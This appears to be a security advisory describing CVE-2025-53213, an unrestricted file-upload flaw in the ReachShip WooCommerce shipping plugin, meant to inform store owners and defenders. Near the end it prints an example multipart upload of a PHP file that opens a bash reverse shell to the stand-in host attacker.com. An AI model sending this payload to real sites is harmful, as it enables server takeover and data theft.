Overview
The Common Vulnerabilities and Exposures (CVE) system has recently identified a high-risk vulnerability, designated as CVE-2025-53213, affecting the ReachShip WooCommerce Multi-Carrier & Conditional Shipping plugin. This vulnerability is of particular concern because it allows malicious actors to upload files of dangerous types unrestrictedly, potentially leading to system compromise or data leakage.
As ReachShip WooCommerce Multi-Carrier & Conditional Shipping is widely used by a vast number of WooCommerce-based online stores, the potential impact of this vulnerability is far-reaching. It is therefore vital for store owners, developers, IT administrators, and cybersecurity professionals to be aware of this vulnerability and take appropriate action to mitigate its potential damages.
Vulnerability Summary
CVE ID: CVE-2025-53213
Severity: Critical (CVSS: 9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
ReachShip WooCommerce Multi-Carrier & Conditional Shipping | up to and including 4.3.1
How the Exploit Works
This vulnerability arises from insufficient input validation in the file upload mechanism of the affected plugin. This allows a malicious actor to upload a file with a dangerous type, such as executable scripts or malware-infected files, without any restriction. Once uploaded, this file could be executed within the server environment, potentially leading to unauthorized access, system compromise, data leakage, or even a full-scale denial of service (DoS) attack.
Conceptual Example Code
The following is a conceptual example of a HTTP POST request that could be used to exploit this vulnerability:
POST /wp-content/plugins/reachship-woocommerce/upload.php HTTP/1.1
Host: vulnerablestore.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="uploadfile"; filename="exploit.php"
Content-Type: application/x-php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/8080 0>&1'");
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, a malicious PHP file (`exploit.php`) is uploaded to the server. When executed, this file establishes a reverse shell connection to the attacker’s command and control server (`attacker.com`), potentially giving them full control over the compromised system.